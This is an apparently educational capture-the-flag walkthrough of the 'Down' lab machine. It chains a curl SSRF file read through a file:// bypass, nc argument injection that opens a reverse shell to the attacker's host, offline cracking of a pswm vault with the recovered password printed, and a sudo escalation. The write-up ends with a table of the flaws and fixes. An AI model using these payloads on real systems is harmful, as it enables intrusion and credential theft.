Executive Summary
Down is an easy Linux machine running a simple "Is it down or just me?" web checker. The site uses curl server-side to test URLs - making it a classic SSRF target. The protocol filter (http:// or https:// only) can be bypassed by injecting a space between the allowed prefix and a file:// URI, allowing arbitrary local file reads. Reading index.php reveals hidden source code including an undocumented expertmode=tcp feature that runs nc with unsanitized input. Since the IP passes FILTER_VALIDATE_IP but the port does not strip extra arguments, appending -e /bin/bash to the port field gives a reverse shell as www-data. In the web root we find a user flag. Enumerating the filesystem reveals a pswm password manager vault in aleks's home directory. We crack it offline using a public decryptor tool and rockyou.txt, recovering aleks's SSH password. Aleks has full sudo rights, so sudo su trivially gives root.
Table of Contents
- Reconnaissance
- Web Enumeration
- SSRF - File Read via Protocol Bypass
- Source Code Disclosure
- Initial Access - Expert Mode Command Injection
- User Flag
- Privilege Escalation - pswm Password Vault
- Root Flag
- Attack Chain Summary
- Key Vulnerabilities
1. Reconnaissance
root@kali# nmap -A -Pn <TARGET_IP> -oA nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
OS: Linux 4.15 - 5.19
Only two ports open - SSH and HTTP. No TLS, no subdomains visible from nmap. We focus on the web application.
2. Web Enumeration
Browsing to http://<TARGET_IP>/ shows a simple URL checker: "Is that website down, or is it just you?" - a form that takes a URL and pings it server-side.
We first try pointing the form at a Python HTTP server to see if there's any callback, and while we do get a hit, we can't see what files are being requested or saved — just that something connected. We also can't access any uploaded/saved files from the outside, so a Python server alone doesn't tell us much about the backend behaviour.
We switch to Netcat to catch the raw request and see exactly what the server sends:
nc -lnvp 4444
Submitting http://<YOUR_IP>:4444 shows:
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 49420
GET / HTTP/1.1
Host: <YOUR_IP>:4444
User-Agent: curl/7.81.0
Accept: */*
This immediately tells us the backend is using curl to fetch our URL — the User-Agent gives it away. That's a classic SSRF setup and also hints that we might be able to pass extra arguments to curl if input isn't sanitised properly.
Directory and path fuzzing (ffuf, gobuster) return nothing interesting beyond index.php. Trying to access the target's own localhost or internal addresses times out. We pivot to abusing the curl SSRF directly.
3. SSRF - File Read via Protocol Bypass
The form validates that URLs start with http:// or https://. Testing file:///etc/passwd directly returns:
Only protocols http or https allowed.
We try a quirk: entering http:// file:///etc/passwd (with a space between http:// and file://) in the browser. This doesn't throw an error - but it also shows nothing useful in the page output. Suspicious enough to investigate further.
We try the same thing via curl to see the raw response:
curl http://<TARGET_IP>/index.php -d 'url=http://+file:///etc/passwd'
+in a POST body decodes to a space — equivalent to%20.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... [snipped]
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
We have arbitrary local file read as www-data. The filter is bypassed — the server accepted http:// file:///etc/passwd without complaint and passed it straight to curl, which processed the file:// part and read the local file.
Notable: one non-system user - aleks - with a home directory at /home/aleks.
4. Source Code Disclosure
Since we can read local files, we read the web application's own source code to understand exactly what the server is doing:
curl http://<TARGET_IP>/index.php -d 'url=http://+file:///var/www/html/index.php'
The response dumps the full index.php source (HTML-entity-encoded inside the page output). The key parts:
// URL check mode — the main form
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|', $url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1", $output, $rc);
...
} else {
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
This explains the bypass: preg_match('|^https?://|', $url) only checks that the string starts with http://. It doesn't validate anything that comes after. So http:// file:///etc/passwd passes the check, then escapeshellcmd is called on the whole string - but escapeshellcmd doesn't strip spaces or extra arguments, it only escapes shell metacharacters like ;, |, &. The result is that curl receives two separate arguments: the useless http:// and the real file:///etc/passwd, and happily reads the file.
The source also reveals something much more interesting - a hidden expert mode that's never linked anywhere on the site:
// Hidden expert mode - only active when ?expertmode=tcp is in the query string
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form ... action="index.php?expertmode=tcp" method="POST">
<input type="text" name="ip" ...>
<input type="number" name="port" ...>
</form>';
}
// Expert mode handler
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp'
&& isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1", $output, $rc);
}
}
The expert mode takes an IP and port, validates them, then runs nc -vz <ip> <port> to check if a port is open. And there's a bug right in the validation logic — the port is validated using intval($port) but the raw original string $port is what gets passed to escapeshellcmd. That means anything appended after the integer - like -e /bin/bash — gets carried through unvalidated.
5. Initial Access - Expert Mode Command Injection
The vulnerability
escapeshellcmd is the wrong tool here. It escapes shell metacharacters like ;, |, &, and backticks — but it leaves spaces and additional arguments completely intact. So passing 4444 -e /bin/bash as the port value results in:
/usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash
A perfectly valid nc command that connects back and executes bash.
The IP validation (FILTER_VALIDATE_IP) is strict and correct — we can't inject there. But the port field only validates the leading integer, not the full string, leaving the rest of the value free to carry extra arguments.
Exploitation
Start a listener:
nc -lnvp 4444
Send the exploit via curl, injecting -e /bin/bash after the port number (space-encoded as +):
curl 'http://<TARGET_IP>/index.php?expertmode=tcp' \
-d 'ip=<YOUR_IP>&port=4444+-e+/bin/bash'
nc -lnvp 4444
listening on [any] 4444 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] ...
www-data@down:/var/www/html$ whoami
www-data
We have a shell as www-data.
6. User Flag
Listing the web root immediately reveals an unusual file:
www-data@down:/var/www/html$ ls
index.php logo.png style.css user_aeT1xa.txt
www-data@down:/var/www/html$ cat user_aeT1xa.txt
[REDACTED]
The user flag is sitting in the web root, readable by www-data.
Post-exploitation enumeration
We check aleks's home directory:
www-data@down:/var/www/html$ ls -la /home/aleks/
total 36
drwxr-xr-x 5 aleks aleks 4096 May 27 2025 .
drwxr-xr-x 3 root root 4096 Sep 13 2024 ..
lrwxrwxrwx 1 root root 9 May 1 2025 .bash_history -> /dev/null
drwx------ 2 aleks aleks 4096 Sep 6 2024 .cache
drwxrwxr-x 3 aleks aleks 4096 Sep 6 2024 .local
drwx------ 2 aleks aleks 4096 Sep 6 2024 .ssh
-rw-r--r-- 1 aleks aleks 0 Sep 15 2024 .sudo_as_admin_successful
.ssh is restricted - we can't read any keys. But .local is world-writable (drwxrwxr-x). We dig in:
www-data@down:/home/aleks$ cd .local/share/pswm/
www-data@down:/home/aleks/.local/share/pswm$ ls -la
-rw-rw-r-- 1 aleks aleks 151 Sep 13 2024 pswm
www-data@down:/home/aleks/.local/share/pswm$ cat pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
pswm is a Python-based command-line password manager. A quick Google search leads to its GitHub: seriotonctf/pswm-decryptor - a tool specifically for cracking pswm vaults offline against a wordlist.
7. Privilege Escalation - pswm Password Vault
Setting up the decryptor
git clone https://github.com/seriotonctf/pswm-decryptor
cd pswm-decryptor
# Create a venv to avoid dependency conflicts
python3 -m venv password
source password/bin/activate
pip install cryptocode prettytable
Copy the vault content into a local file:
cat > pswm << 'EOF'
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
EOF
Run the decryptor against rockyou.txt:
python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias | Username | Password |
+------------+----------+----------------------+
| pswm | aleks | flower |
| aleks@down | aleks | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+
The vault contains two entries - the master password (flower, used to lock the vault) and aleks's actual system password: 1uY3w22uc-Wr{xNHR~+E.
SSH as aleks
ssh aleks@<TARGET_IP>
# Password: 1uY3w22uc-Wr{xNHR~+E
aleks@down:~$ id
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks)
Checking sudo rights
aleks@down:~$ sudo -l
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
env_reset, mail_badpass,
secure_path=..., use_pty
User aleks may run the following commands on down:
(ALL : ALL) ALL
Aleks can run any command as any user. The .sudo_as_admin_successful file we saw earlier in their home directory confirms they've successfully used sudo before - and they're in the sudoers list with full rights.
aleks@down:~$ sudo su
root@down:/home/aleks# whoami
root
8. Root Flag
root@down:~# cat /root/root.txt
[REDACTED]
9. Attack Chain Summary
[Attacker]
│
├─ 1. Nmap → port 80 (Apache), port 22 (SSH)
│
├─ 2. Web enum → URL checker form, curl User-Agent confirmed via NC listener
│
├─ 3. SSRF via protocol bypass: url=http://+file:///etc/passwd
│ └─ preg_match('^https?://') passes, curl receives two args
│ → arbitrary local file read as www-data
│ → /etc/passwd: user "aleks" discovered
│
├─ 4. SSRF → read index.php source code
│ └─ Hidden feature: ?expertmode=tcp → nc -vz <ip> <port>
│ Bug: port string passed raw to escapeshellcmd, intval() only validates prefix
│
├─ 5. Command injection: port=4444+-e+/bin/bash
│ └─ /usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash
│ → reverse shell as www-data
│
├─ 6. Web root: user_aeT1xa.txt → user flag [REDACTED]
│
├─ 7. /home/aleks/.local/share/pswm/pswm → encrypted password vault
│ └─ pswm-decryptor + rockyou.txt → master: flower
│ → aleks@down password: 1uY3w22uc-Wr{xNHR~+E
│
├─ 8. SSH as aleks → sudo -l → (ALL : ALL) ALL
│
└─ 9. sudo su → root → root.txt [REDACTED]
10. Key Vulnerabilities
| # | Vulnerability | Impact | Notes |
|---|---|---|---|
| 1 |
SSRF via file:// protocol bypass — preg_match('^https?://') passes on http:// file:///... since the regex only checks the prefix. curl processes both arguments, reading local files via the second one. |
Arbitrary local file read as www-data | Classic SSRF + escapeshellcmd does not strip spaces |
| 2 |
Hidden expert mode source disclosure — index.php is readable via SSRF, revealing undocumented ?expertmode=tcp feature |
Exposed hidden attack surface | Security through obscurity: no link to the feature, but source is readable |
| 3 |
nc argument injection via port field — intval($port) validates only the leading integer; the raw $port string including trailing -e /bin/bash is passed to escapeshellcmd, which doesn't strip arguments |
RCE as www-data |
escapeshellcmd is the wrong function — escapeshellarg on each argument separately is the correct approach |
| 4 |
pswm vault with weak master password — aleks's password vault (pswm) is world-readable and encrypted only by the master password flower, crackable in seconds from rockyou.txt |
Full credential recovery for aleks | Sensitive credential store left readable by all users |
| 5 |
Unrestricted sudo — aleks has (ALL : ALL) ALL sudo rights, giving trivial privilege escalation to root |
Full system compromise | A regular user should never have full sudo without a specific, scoped allowlist |
Top comments (0)